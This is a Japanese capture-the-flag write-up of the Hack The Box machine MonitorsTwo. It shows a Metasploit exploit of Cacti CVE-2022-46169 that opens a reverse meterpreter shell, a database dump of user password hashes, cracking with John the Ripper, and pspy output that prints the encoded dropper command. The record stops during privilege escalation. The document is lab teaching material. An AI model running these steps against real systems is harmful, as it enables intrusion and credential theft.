【Hack The Box】MonitorsTwo【WriteUp】

# 初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は ___Hack The Box___(以下リンク参照) の「___MonitorsTwo___」にチャレンジした際の ___WriteUp___ になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___

https://www.hackthebox.com/

# Discovery
## ポートスキャン
今回はRustScanで高速スキャンしてみた。
```bash
┌──(root㉿kali)-[~]
└─# rustscan -a 10.129.80.254 --top --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.80.254:22
Open 10.129.80.254:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 00:55 EDT
Initiating Ping Scan at 00:55
Scanning 10.129.80.254 [4 ports]
Completed Ping Scan at 00:55, 0.30s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 00:55
Completed Parallel DNS resolution of 1 host. at 00:55, 0.00s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 00:55
Scanning 10.129.80.254 [2 ports]
Discovered open port 80/tcp on 10.129.80.254
Discovered open port 22/tcp on 10.129.80.254
Completed SYN Stealth Scan at 00:55, 0.31s elapsed (2 total ports)
Nmap scan report for 10.129.80.254
Host is up, received reset ttl 63 (0.27s latency).
Scanned at 2023-05-01 00:55:26 EDT for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (128B)
```
ポート22、80が公開されてそう。
実際に８０番にアクセスしてみると以下のような画面が表示される。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a5aee7d0-ca12-3299-d6dd-88537b8de356.png)
デフォルトパスワード「admin:admin」で入ってみる。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/d146cb2e-2090-ff65-697c-c1d0093bb1f3.png)
ダメだった。んじゃ別ルートでやってみます。

# Initial Access
## CVE-2022-46169
BurpSuiteでレスポンスを確認していると以下の画像のようなVersion情報が記載されている箇所を発見した。
※BurpSuiteとはなんぞやは過去の記事を参考にして下さい。

https://qiita.com/schectman-hell/items/220582a017062963b5d7

![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c02d82c3-11b1-7a86-3655-6840a2a87cbd.png)

CACTIのVersionが`1.2.22`とのことである。
この情報から脆弱性情報を検索してみると以下の記事がヒットする。

https://www.rapid7.com/db/modules/exploit/linux/http/cacti_unauthenticated_cmd_injection/

記事の内容を見てみるとDBにExploitがあるみたいなのでMetasploitを使用する。
（久しぶりにMetasploit触るなぁ）

## Metasploit
起動してみる。
```bash
┌──(root㉿kali)-[~]
└─# msfconsole    
                                                  

  Metasploit Park, System Security Interface
  Version 4.0.5, Alpha E
  Ready...
  > access security
  access: PERMISSION DENIED.
  > access security grid
  access: PERMISSION DENIED.
  > access main security grid
  access: PERMISSION DENIED....and...
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!


       =[ metasploit v6.3.4-dev                           ]
+ -- --=[ 2294 exploits - 1201 auxiliary - 409 post       ]
+ -- --=[ 968 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Use the edit command to open the 
currently active module in your editor
Metasploit Documentation: https://docs.metasploit.com/

msf6 > 
msf6 >
```
対象のモジュールを探してみる。
```bash
msf6 > 
msf6 > search cacti

Matching Modules
================

   #  Name                                                    Disclosure Date  Rank       Check  Description
   -  ----                                                    ---------------  ----       -----  -----------
   0  exploit/linux/http/cacti_unauthenticated_cmd_injection  2022-12-05       excellent  Yes    Cacti 1.2.22 unauthenticated command injection
   1  exploit/unix/http/cacti_filter_sqli_rce                 2020-06-17       excellent  Yes    Cacti color filter authenticated SQLi to RCE
   2  exploit/unix/webapp/cacti_graphimage_exec               2005-01-15       excellent  No     Cacti graph_view.php Remote Command Execution
   3  exploit/windows/http/hp_sitescope_runomagentcommand     2013-07-29       manual     Yes    HP SiteScope Remote Code Execution


Interact with a module by name or index. For example info 3, use 3 or use exploit/windows/http/hp_sitescope_runomagentcommand
```
あったので、使う！Optionで設定項目を確認しておく。
```bash
msf6 > use exploit/linux/http/cacti_unauthenticated_cmd_injection
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > 
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > 
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > 
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > options

Module options (exploit/linux/http/cacti_unauthenticated_cmd_injection):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   HOST_ID                              no        The host_id value to use. By default, the module will try to bruteforce this.
   LOCAL_DATA_ID                        no        The local_data_id value to use. By default, the module will try to bruteforce this.
   Proxies                              no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                               yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT               8080             yes       The target port (TCP)
   SSL                 false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                              no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI           /                yes       The base path to Cacti
   URIPATH                              no        The URI to use for this exploit (default is random)
   VHOST                                no        HTTP server virtual host
   X_FORWARDED_FOR_IP  127.0.0.1        yes       The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller
                                                  table.


   When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
                                        on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Automatic (Linux Dropper)



View the full module info with the info, or info -d command.
```
セッティングしてExploit実行。
```bash
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set RPORT 80
RPORT => 80
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set RHOSTS 10.129.80.254
RHOSTS => 10.129.80.254
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set LHOST 10.10.14.3
LHOST => 10.10.14.3
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > exploit

[*] Started reverse TCP handler on 10.10.14.3:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Cacti version 1.2.22
[*] Trying to bruteforce an exploitable host_id and local_data_id by trying up to 500 combinations
[*] Enumerating local_data_id values for host_id 1
[+] Found exploitable local_data_id 6 for host_id 1
[*] Command Stager progress - 100.00% done (1118/1118 bytes)
[*] Exploit completed, but no session was created.
```
ステージャーで失敗してるかなぁ、`CMDSTAGER::FLAVOR`のところかなぁ、設定箇所。
設定しなおしてみる。
```bash
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set SRVHOST 10.10.14.3
SRVHOST => 10.10.14.3
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set SRVPORT 8000
SRVPORT => 8000
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > options

Module options (exploit/linux/http/cacti_unauthenticated_cmd_injection):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   HOST_ID                              no        The host_id value to use. By default, the module will try to bruteforce this.
   LOCAL_DATA_ID                        no        The local_data_id value to use. By default, the module will try to bruteforce this.
   Proxies                              no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS              10.129.80.254    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT               80               yes       The target port (TCP)
   SSL                 false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                              no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI           /                yes       The base path to Cacti
   URIPATH                              no        The URI to use for this exploit (default is random)
   VHOST                                no        HTTP server virtual host
   X_FORWARDED_FOR_IP  127.0.0.1        yes       The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller
                                                  table.


   When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  10.10.14.3       yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
                                        on all addresses.
   SRVPORT  8000             yes       The local port to listen on.


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.3       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Automatic (Linux Dropper)



View the full module info with the info, or info -d command.

msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > 
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > run

[*] Started reverse TCP handler on 10.10.14.3:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Cacti version 1.2.22
[*] Trying to bruteforce an exploitable host_id and local_data_id by trying up to 500 combinations
[*] Enumerating local_data_id values for host_id 1
[+] Found exploitable local_data_id 6 for host_id 1
[*] Command Stager progress - 100.00% done (1118/1118 bytes)
[*] Sending stage (1017704 bytes) to 10.129.80.254
[*] Meterpreter session 3 opened (10.10.14.3:4444 -> 10.129.80.254:50302) at 2023-05-01 01:57:54 -0400

meterpreter > 
meterpreter > pwd
/var/www/html
```
シェルを取得することに成功しました。(何故なのかは不明)
まぁWeb権限のシェルですよね。

# Collection
このシェルで収集できる情報を集めてみる。
```bash
meterpreter > cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```
あれ？？？`/home`階層のUserがいないな...
`/home`階層いってみようか...
```bash
cd /home 
ls -tla
total 8
drwxr-xr-x 2 root root 4096 Mar 22 13:21 .
drwxr-xr-x 1 root root 4096 Mar 21 10:49 ..
```
何もない...`.dockerenv`がある...
これはDockerコンテナ環境なのではないのか？？？
`entrypoint.sh`のファイルがあったので、この中身を確認してみる。
```sh:entrypoint.sh
#!/bin/bash
set -ex

wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
    mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
    mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
    mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi

chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
        set -- apache2-foreground "$@"
fi

exec "$@"
```
おお！？`mysql`コマンドでDBアクセスできる感じですか？じゃぁ試してみます。

# Credential Access
## MySQL
まずは`show tables`
```bash
mysql --host=db --user=root --password=root cacti -e "show tables"
Tables_in_cacti
aggregate_graph_templates
aggregate_graph_templates_graph
aggregate_graph_templates_item
aggregate_graphs
aggregate_graphs_graph_item
aggregate_graphs_items
automation_devices
automation_graph_rule_items
automation_graph_rules
automation_ips
automation_match_rule_items
automation_networks
automation_processes
automation_snmp
automation_snmp_items
automation_templates
automation_tree_rule_items
automation_tree_rules
cdef
cdef_items
color_template_items
color_templates
colors
data_debug
data_input
data_input_data
data_input_fields
data_local
data_source_profiles
data_source_profiles_cf
data_source_profiles_rra
data_source_purge_action
data_source_purge_temp
data_source_stats_daily
data_source_stats_hourly
data_source_stats_hourly_cache
data_source_stats_hourly_last
data_source_stats_monthly
data_source_stats_weekly
data_source_stats_yearly
data_template
data_template_data
data_template_rrd
external_links
graph_local
graph_template_input
graph_template_input_defs
graph_templates
graph_templates_gprint
graph_templates_graph
graph_templates_item
graph_tree
graph_tree_items
host
host_graph
host_snmp_cache
host_snmp_query
host_template
host_template_graph
host_template_snmp_query
plugin_config
plugin_db_changes
plugin_hooks
plugin_realms
poller
poller_command
poller_data_template_field_mappings
poller_item
poller_output
poller_output_boost
poller_output_boost_local_data_ids
poller_output_boost_processes
poller_output_realtime
poller_reindex
poller_resource_cache
poller_time
processes
reports
reports_items
sessions
settings
settings_tree
settings_user
settings_user_group
sites
snmp_query
snmp_query_graph
snmp_query_graph_rrd
snmp_query_graph_rrd_sv
snmp_query_graph_sv
snmpagent_cache
snmpagent_cache_notifications
snmpagent_cache_textual_conventions
snmpagent_managers
snmpagent_managers_notifications
snmpagent_mibs
snmpagent_notifications_log
user_auth
user_auth_cache
user_auth_group
user_auth_group_members
user_auth_group_perms
user_auth_group_realm
user_auth_perms
user_auth_realm
user_domains
user_domains_ldap
user_log
vdef
vdef_items
version
```
`user_auth`が気になったのでこれを見ていく。`show columns from user_auth`コマンド。
```bash
mysql --host=db --user=root --password=root cacti -e "show columns from user_auth"
Field   Type    Null    Key     Default Extra
id      mediumint(8) unsigned   NO      PRI     NULL    auto_increment
username        varchar(50)     NO      MUL     0
password        varchar(256)    NO
realm   mediumint(8)    NO      MUL     0
full_name       varchar(100)    YES             0
email_address   varchar(128)    YES             NULL
must_change_password    char(2) YES             NULL
password_change char(2) YES             on
show_tree       char(2) YES             on
show_list       char(2) YES             on
show_preview    char(2) NO              on
graph_settings  char(2) YES             NULL
login_opts      tinyint(3) unsigned     NO              1
policy_graphs   tinyint(3) unsigned     NO              1
policy_trees    tinyint(3) unsigned     NO              1
policy_hosts    tinyint(3) unsigned     NO              1
policy_graph_templates  tinyint(3) unsigned     NO              1
enabled char(2) NO      MUL     on
lastchange      int(11) NO              -1
lastlogin       int(11) NO              -1
password_history        varchar(4096)   NO              -1
locked  varchar(3)      NO
failed_attempts int(5)  NO              0
lastfail        int(10) unsigned        NO              0
reset_perms     int(10) unsigned        NO              0
```
おっけ、Passwordが書いてあるみたいなのでこのテーブルからデータを持ってきます。
```bash
mysql --host=db --user=root --password=root cacti -e "select * from user_auth"
id      username        password        realm   full_name       email_address   must_change_password    password_change show_tree       show_list       show_preview    graph_settings  login_opts      policy_graphs   policy_trees    policy_hosts    policy_graph_templates  enabled lastchange      lastlogin       password_history    locked  failed_attempts lastfail        reset_perms
1       admin   $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC    0       Jamie Thompson  admin@monitorstwo.htb           on      on      on      on      on      2       1       1       1       1       on      -1      -1      -1              0       0       663348655
3       guest   43e9a4ab75570f5b        0       Guest Account           on      on      on      on      on      3       1       1       1       1       1               -1      -1      -1              0       0       0
4       marcus  $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C    0       Marcus Brune    marcus@monitorstwo.htb                  on      on      on      on      1       1       1       1       1       on      -1      -1              on      0       0       2135691668
```
クレデンシャルゲット！この情報を`John`さんに食わせて解析します。
## John the Ripper
```bash
┌──(root㉿kali)-[~/work]
└─# john hash.txt --wordlist=./rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
funkymonkey      (marcus)     
1g 0:00:01:30 DONE (2023-05-01 02:34) 0.01108g/s 94.58p/s 94.58c/s 94.58C/s lilpimp..coucou
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
```
marcusのクレデンシャル情報が出てきたのでこの情報を使ってSSHのログインができるかどうか試してみる。
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/dd484830-92a0-d962-af0d-9c6346a81eaa.png)
成功！これでUser権限は奪取できました。

# Privilege Escalation
## 情報収集
### sudo -l
```bash
marcus@monitorstwo:~$ sudo -l
[sudo] password for marcus: 
Sorry, user marcus may not run sudo on localhost.
```
いい情報はない。
### pspy
何かいいプロセス動いてないかなぁ～とか思いながらpspy動かします。
pspyの実行ファイルを以下のサイトから入手。64bit版をダウンロード。

https://github.com/DominicBreuker/pspy

起動。
```bash
marcus@monitorstwo:/tmp$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/05/01 08:01:26 CMD: UID=1000  PID=3066   | ./pspy64 
2023/05/01 08:01:26 CMD: UID=0     PID=3010   | 
2023/05/01 08:01:26 CMD: UID=0     PID=2927   | 
2023/05/01 08:01:26 CMD: UID=1000  PID=2867   | -bash 
2023/05/01 08:01:26 CMD: UID=1000  PID=2862   | sshd: marcus@pts/0   
2023/05/01 08:01:26 CMD: UID=1000  PID=2752   | (sd-pam) 
2023/05/01 08:01:26 CMD: UID=1000  PID=2748   | /lib/systemd/systemd --user 
2023/05/01 08:01:26 CMD: UID=0     PID=2741   | sshd: marcus [priv]  
2023/05/01 08:01:26 CMD: UID=33    PID=2672   | mysql --host=db --user=root --password=x xx 
2023/05/01 08:01:26 CMD: UID=0     PID=2649   | 
2023/05/01 08:01:26 CMD: UID=33    PID=2631   | more .dockerenv 
2023/05/01 08:01:26 CMD: UID=33    PID=2618   | /tmp/vwgjY 
2023/05/01 08:01:26 CMD: UID=33    PID=2613   | 
2023/05/01 08:01:26 CMD: UID=33    PID=2612   | sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime `echo ZWNobyAtZW4gXFx4N2ZcXHg0NVxceDRjXFx4NDZcXHgwMVxceDAxXFx4MDFcXHgwMFxceDAwXFx4MDBcXHgwMFxceDAwXFx4MDBcXHgwMFxceDAwXFx4MDBcXHgwMlxceDAwXFx4MDNcXHgwMFxceDAxXFx4MDBcXHgwMFxceDAwXFx4NTRcXHg4MFxceDA0XFx4MDhcXHgzNFxceDAwXFx4MDBcXHgwMFxceDAwXFx4MDBcXHgwMFxceDAwXFx4MDBcXHgwMFxceDAwXFx4MDBcXHgzNFxceDAwXFx4MjBcXHgwMFxceDAxXFx4MDBcXHgwMFxceDAwXFx4MDBcXHgwMFxceDAwXFx4MDBcXHgwMVxceDAwXFx4MDBcXHgwMFxceDAwXFx4MDBcXHgwMFxceDAwXFx4MDBcXHg4MFxceDA0XFx4MDhcXHgwMFxceDgwXFx4MDRcXHgwOFxceGNmXFx4MDBcXHgwMFxceDAwXFx4NGFcXHgwMVxceDAwXFx4MDBcXHgwN1xceDAwXFx4MDBcXHgwMFxceDAwXFx4MTBcXHgwMFxceDAwXFx4NmFcXHgwYVxceDVlXFx4MzFcXHhkYlxceGY3XFx4ZTNcXHg1M1xceDQzXFx4NTNcXHg2YVxceDAyXFx4YjBcXHg2NlxceDg5XFx4ZTFcXHhjZFxceDgwXFx4OTdcXHg1YlxceDY4XFx4MGFcXHgwYVxceDBlXFx4MDNcXHg2OFxceDAyXFx4MDBcXHgxMVxceDVjXFx4ODlcXHhlMVxceDZhXFx4NjZcXHg1OFxceDUwXFx4NTFcXHg1N1xceDg5XFx4ZTFcXHg0M1xceGNkXFx4ODBcXHg4NVxceGMwXFx4NzlcXHgxOVxceDRlXFx4NzRcXHgzZFxceDY4XFx4YTJcXHgwMFxceDAwXFx4MDBcXHg1OFxceDZhXFx4MDBcXHg2YVxceDA1XFx4ODlcXHhlM1xceDMxXFx4YzlcXHhjZFxceDgwXFx4ODVcXHhjMFxceDc5XFx4YmRcXHhlYlxceDI3XFx4YjJcXHgwN1xceGI5XFx4MDBcXHgxMFxceDAwXFx4MDBcXHg4OVxceGUzXFx4YzFcXHhlYlxceDBjXFx4YzFcXHhlM1xceDBjXFx4YjBcXHg3ZFxceGNkXFx4ODBcXHg4NVxceGMwXFx4NzhcXHgxMFxceDViXFx4ODlcXHhlMVxceDk5XFx4YjJcXHg2YVxceGIwXFx4MDNcXHhjZFxceDgwXFx4ODVcXHhjMFxceDc4XFx4MDJcXHhmZlxceGUxXFx4YjhcXHgwMVxceDAwXFx4MDBcXHgwMFxceGJiXFx4MDFcXHgwMFxceDAwXFx4MDBcXHhjZFxceDgwPj4vdG1wL3Z3Z2pZIDsgY2htb2QgNzc3IC90bXAvdndnalkgOyAvdG1wL3Z3Z2pZICYgZWNobyA7IHJtIC1mIC90bXAvdndnalk= | base64 -d | /bin/bash`                                                                            
2023/05/01 08:01:26 CMD: UID=33    PID=2166   | apache2 -DFOREGROUND 
2023/05/01 08:01:26 CMD: UID=33    PID=2165   | apache2 -DFOREGROUND 
2023/05/01 08:01:26 CMD: UID=33    PID=2164   | apache2 -DFOREGROUND 
2023/05/01 08:01:26 CMD: UID=33    PID=2077   | apache2 -DFOREGROUND 
2023/05/01 08:01:26 CMD: UID=0     PID=2003   | 
2023/05/01 08:01:26 CMD: UID=0     PID=2002   | 
2023/05/01 08:01:26 CMD: UID=33    PID=1568   | apache2 -DFOREGROUND 
2023/05/01 08:01:26 CMD: UID=33    PID=1567   | apache2 -DFOREGROUND 
2023/05/01 08:01:26 CMD: UID=33    PID=1566   | apache2 -DFOREGROUND 
2023/05/01 08:01:26 CMD: UID=33    PID=1565   | apache2 -DFOREGROUND 
2023/05/01 08:01:26 CMD: UID=33    PID=1564   | apache2 -DFOREGROUND 
2023/05/01 08:01:26 CMD: UID=0     PID=1371   | apache2 -DFOREGROUND 
2023/05/01 08:01:26 CMD: UID=0     PID=1348   | /usr/bin/containerd-shim-runc-v2 -namespace moby -id 50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e -address /run/containerd/containerd.sock                                                                                                          
2023/05/01 08:01:26 CMD: UID=0     PID=1333   | /usr/sbin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8080 -container-ip 172.19.0.3 -container-port 80                                                                                                                                                        
2023/05/01 08:01:26 CMD: UID=999   PID=1255   | mysqld 
2023/05/01 08:01:26 CMD: UID=0     PID=1232   | /usr/bin/containerd-shim-runc-v2 -namespace moby -id e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69 -address /run/containerd/containerd.sock                                                                                                          
2023/05/01 08:01:26 CMD: UID=0     PID=940    | bpfilter_umh 
2023/05/01 08:01:26 CMD: UID=33    PID=920    | nginx: worker process                            
2023/05/01 08:01:26 CMD: UID=33    PID=919    | nginx: worker process                            
2023/05/01 08:01:26 CMD: UID=0     PID=918    | nginx: master process /usr/sbin/nginx -g daemon on; master_process on; 
2023/05/01 08:01:26 CMD: UID=0     PID=912    | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups 
2023/05/01 08:01:26 CMD: UID=0     PID=905    | /sbin/agetty -o -p -- \u --noclear tty1 linux 
2023/05/01 08:01:26 CMD: UID=0     PID=903    | /usr/bin/containerd 
2023/05/01 08:01:26 CMD: UID=1     PID=899    | /usr/sbin/atd -f 
2023/05/01 08:01:26 CMD: UID=0     PID=895    | /usr/sbin/cron -f 
2023/05/01 08:01:26 CMD: UID=0     PID=890    | /usr/sbin/dockerd -H fd:// 
2023/05/01 08:01:26 CMD: UID=101   PID=850    | /lib/systemd/systemd-resolved 
2023/05/01 08:01:26 CMD: UID=0     PID=784    | /usr/sbin/ModemManager 
2023/05/01 08:01:26 CMD: UID=0     PID=726    | /usr/lib/udisks2/udisksd 
2023/05/01 08:01:26 CMD: UID=0     PID=725    | /lib/systemd/systemd-logind 
2023/05/01 08:01:26 CMD: UID=104   PID=723    | /usr/sbin/rsyslogd -n -iNONE 
2023/05/01 08:01:26 CMD: UID=0     PID=722    | /usr/lib/policykit-1/polkitd --no-debug 
2023/05/01 08:01:26 CMD: UID=0     PID=721    | /usr/sbin/irqbalance --foreground 
2023/05/01 08:01:26 CMD: UID=103   PID=714    | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only 
2023/05/01 08:01:26 CMD: UID=0     PID=713    | /usr/lib/accountsservice/accounts-daemon 
2023/05/01 08:01:26 CMD: UID=0     PID=700    | /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0                                                                                                                            
2023/05/01 08:01:26 CMD: UID=0     PID=669    | /usr/bin/vmtoolsd 
2023/05/01 08:01:26 CMD: UID=0     PID=668    | /usr/bin/VGAuthService 
2023/05/01 08:01:26 CMD: UID=0     PID=649    | /sbin/auditd 
2023/05/01 08:01:26 CMD: UID=102   PID=646    | /lib/systemd/systemd-timesyncd 
2023/05/01 08:01:26 CMD: UID=0     PID=626    | /sbin/multipathd -d -s 
2023/05/01 08:01:26 CMD: UID=0     PID=625    | 
2023/05/01 08:01:26 CMD: UID=0     PID=624    | 
2023/05/01 08:01:26 CMD: UID=0     PID=623    | 
2023/05/01 08:01:26 CMD: UID=0     PID=622    | 
2023/05/01 08:01:26 CMD: UID=0     PID=546    | 
2023/05/01 08:01:26 CMD: UID=0     PID=501    | /lib/systemd/systemd-udevd 
2023/05/01 08:01:26 CMD: UID=0     PID=468    | /lib/systemd/systemd-journald 
2023/05/01 08:01:26 CMD: UID=0     PID=414    | 
2023/05/01 08:01:26 CMD: UID=0     PID=413    | 
2023/05/01 08:01:26 CMD: UID=0     PID=387    | 
2023/05/01 08:01:26 CMD: UID=0     PID=361    | 
2023/05/01 08:01:26 CMD: UID=0     PID=332    | 
2023/05/01 08:01:26 CMD: UID=0     PID=331    | 
2023/05/01 08:01:26 CMD: UID=0     PID=330    | 
2023/05/01 08:01:26 CMD: UID=0     PID=300    | 
2023/05/01 08:01:26 CMD: UID=0     PID=299    | 
2023/05/01 08:01:26 CMD: UID=0     PID=298    | 
2023/05/01 08:01:26 CMD: UID=0     PID=297    | 
2023/05/01 08:01:26 CMD: UID=0     PID=296    | 
2023/05/01 08:01:26 CMD: UID=0     PID=295    | 
2023/05/01 08:01:26 CMD: UID=0     PID=294    | 
2023/05/01 08:01:26 CMD: UID=0     PID=293    | 
2023/05/01 08:01:26 CMD: UID=0     PID=289    | 
2023/05/01 08:01:26 CMD: UID=0     PID=288    | 
2023/05/01 08:01:26 CMD: UID=0     PID=287    | 
2023/05/01 08:01:26 CMD: UID=0     PID=286    | 
2023/05/01 08:01:26 CMD: UID=0     PID=285    | 
2023/05/01 08:01:26 CMD: UID=0     PID=284    | 
2023/05/01 08:01:26 CMD: UID=0     PID=282    | 
2023/05/01 08:01:26 CMD: UID=0     PID=281    | 
2023/05/01 08:01:26 CMD: UID=0     PID=280    | 
